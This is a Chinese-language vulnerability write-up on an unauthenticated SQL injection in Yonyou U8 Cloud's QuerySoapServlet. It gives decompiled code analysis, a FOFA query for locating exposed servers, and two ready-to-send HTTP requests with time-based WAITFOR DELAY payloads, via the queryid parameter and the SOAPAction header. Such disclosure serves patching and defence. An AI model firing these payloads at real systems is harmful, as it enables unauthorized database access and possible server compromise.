漏洞简介
用友U8 Cloud是用友推出的云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。是基于全新的企业互联网理念设计的云ERP系统,它旨在为企业提供集人财物客产供销于一体的云ERP整体解决方案,推动企业敏经营、轻管理、简IT,助力企业实现高速发展与云化创新。用友U8 Cloud QuerySoapServlet 接口处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,5.0,5.0sp
漏洞分析
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
response.setContentType("text/xml;charset=gb2312");
String queryId = null;
String dsn = request.getParameter("dsn");
String soapAction;
if (!((HttpServletRequest)request).getMethod().equalsIgnoreCase("POST")) {
queryId = request.getParameter("queryid");
soapAction = "http://" + request.getServerName();
if (request.getServerPort() != 80) {
soapAction = soapAction + ":" + request.getServerPort();
}
soapAction = soapAction + "/servlet/nc.bs.pub.querymodel.soap.QuerySoapServlet?dsn=";
soapAction = soapAction + dsn;
sendWsdl(response, queryId, dsn, soapAction);
} else {
soapAction = ((HttpServletRequest)request).getHeader("SOAPAction");
if (soapAction == null) {
throw new ServletException(NCLangResOnserver.getInstance().getStrByID("10241201", "UPP10241201-001013"));
} else {
if (soapAction.startsWith("\"") || soapAction.startsWith("'")) {
soapAction = soapAction.substring(1, soapAction.length() - 1);
}
queryId = soapAction.substring("execQuery".length(), soapAction.length());
sendSoapPart1(response);
try {
InputStream is = request.getInputStream();
Document doc = XMLUtil.getDocumentBuilder().parse(is);
StringBuffer sb = new StringBuffer();
XMLUtil.writeXMLFormatString(sb, doc, 4);
Logger.debug(sb.toString());
NodeList nl = doc.getDocumentElement().getChildNodes();
Element body = null;
for(int i = 0; i < nl.getLength(); ++i) {
if (nl.item(i).getNodeType() == 1 && nl.item(i).getNodeType() == 1 && nl.item(i).getNodeName().endsWith("Body")) {
body = (Element)nl.item(i);
break;
}
}
if (body == null) {
throw new Exception(NCLangResOnserver.getInstance().getStrByID("10241201", "UPP10241201-001014"));
}
Element queryElement = null;
nl = body.getChildNodes();
for(int i = 0; i < nl.getLength(); ++i) {
if (nl.item(i).getNodeType() == 1) {
queryElement = (Element)nl.item(i);
break;
}
}
Hashtable h = new Hashtable();
if (queryElement != null) {
nl = queryElement.getChildNodes();
for(int i = 0; i < nl.getLength(); ++i) {
if (nl.item(i).getNodeType() == 1) {
String paraname = nl.item(i).getNodeName();
Node valueNode = nl.item(i).getFirstChild();
if (valueNode != null && valueNode.getNodeType() == 3) {
ParamVO vo = new ParamVO();
vo.setValue(valueNode.getNodeValue());
h.put(paraname, vo);
}
}
}
}
DataSet set = ModelUtil.getQueryResult(queryId, h, dsn);
if (set == null) {
throw new Exception(NCLangResOnserver.getInstance().getStrByID("10241201", "UPP10241201-001015"));
}
sendDataSet(response, set, queryId);
Logger.debug(set.getRowCount());
} catch (Exception var17) {
Logger.error(var17);
sendFault(response, var17);
}
sendSoapPart2(response);
}
}
如果不是 PSOT 请求,即 GET请求,会进入第一个处理逻辑,其中 queryid 会带入 sendWsdl 函数,否则进入 POST 请求处理逻辑,queryid 值来自请求头的 SOAPAction 的 execQuery 字符后到整个 soapAction 值的末尾部,然后带入 getQueryResult 函数进行执行。
因此这里我们需要注意,有两种注入方式,网上基本都是使用的第一种GET方式。
package nc.bs.pub.querymodel;
import java.sql.ResultSet;
import java.sql.SQLException;
import nc.bs.logging.Logger;
import nc.jdbc.framework.JdbcSession;
import nc.jdbc.framework.PersistenceManager;
import nc.jdbc.framework.SQLParameter;
import nc.jdbc.framework.exception.DbException;
import nc.jdbc.framework.processor.ResultSetProcessor;
import nc.vo.com.utils.DBObjectReader;
import nc.vo.pub.core.BizObject;
import nc.vo.pub.querymodel.FormatModelNode;
import nc.vo.pub.querymodel.QueryModelNode;
/**
* 访问业务模型的DAO
* 这里的业务模型暂时包括
* 1.查询模型QueryModelDef
* 2.格式设计模型FormatModelDef
* 此类模型的特点是某字段是一个大对象(Blob)字段,其中序列化了模型对象
* @author jl
*
*/
/**
* 根据ID查询业务对象
* @param id
* @param kind
* @param dsName
* @return
* @throws DbException
*/
public BizObject getModelDefByID(String id, String kind, String dsName)
throws DbException {
PersistenceManager sessionManager = null;
String table = null;
if (QueryModelNode.MODEL_KIND.equals(kind)) {
table = "pub_querymodeldef";
} else if (FormatModelNode.FORMAT_KIND.equals(kind)) {
table = "pub_formatmodeldef";
}
// 构造SQL语句
// String sql = "SELECT PROP from " + table + " WHERE ID = '" + id + "'";
//防sql注入
String sql = "SELECT PROP from " + table + " WHERE ID = ? ";
SQLParameter sqlparam = new SQLParameter();
sqlparam.addParam(id);
BizObject bizObj = null;
try {
if (dsName != null) {
sessionManager = PersistenceManager.getInstance(dsName);
} else {
sessionManager = PersistenceManager.getInstance();
}
JdbcSession session = sessionManager.getJdbcSession();
Object obj = session.executeQuery(sql, sqlparam,new ResultSetProcessor() {
public Object handleResultSet(ResultSet rs) throws SQLException {
BizObject obj = null;
if (rs.next()) {
obj = (BizObject) DBObjectReader.readObject(rs, "prop");
}
return obj;
}
});
bizObj = (BizObject) obj;
} finally {
if (sessionManager != null)
sessionManager.release();
}
return bizObj;
}
}
漏洞复现
FOFA
app="用友-U8-Cloud"
GET
GET /service/~uapqe/nc.bs.pub.querymodel.soap.QuerySoapServlet?dsn=1&queryid=1%27%3b%57%41%49%54%46%4f%52%10%44%45%4c%41%59%10%27%30%3a%30%3a%35%27-- HTTP/1.1
Host: mrxn.net
成功 延时 5 秒

下面来复现 POST SOAP(其实没啥关系)方式
POST
POST /servlet/~uapqe/nc.bs.pub.querymodel.soap.QuerySoapServlet?dsn=1 HTTP/1.1
Host: mrxn.net
Content-Type: application/xml
SOAPAction: execQuery1'WAITFOR DELAY'0:0:5'--
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:s0="http://www.ufsoft.com/Nc">
<soapenv:Header/>
<soapenv:Body>
</soapenv:Body>
</soapenv:Envelope>
也是成功延时 5 秒
参考
https://security.yonyou.com/#/noticeInfo?id=499https://security.yonyou.com/#/patchInfo?identifier=63184e0cf1cb486f9bd223c4d70438bc



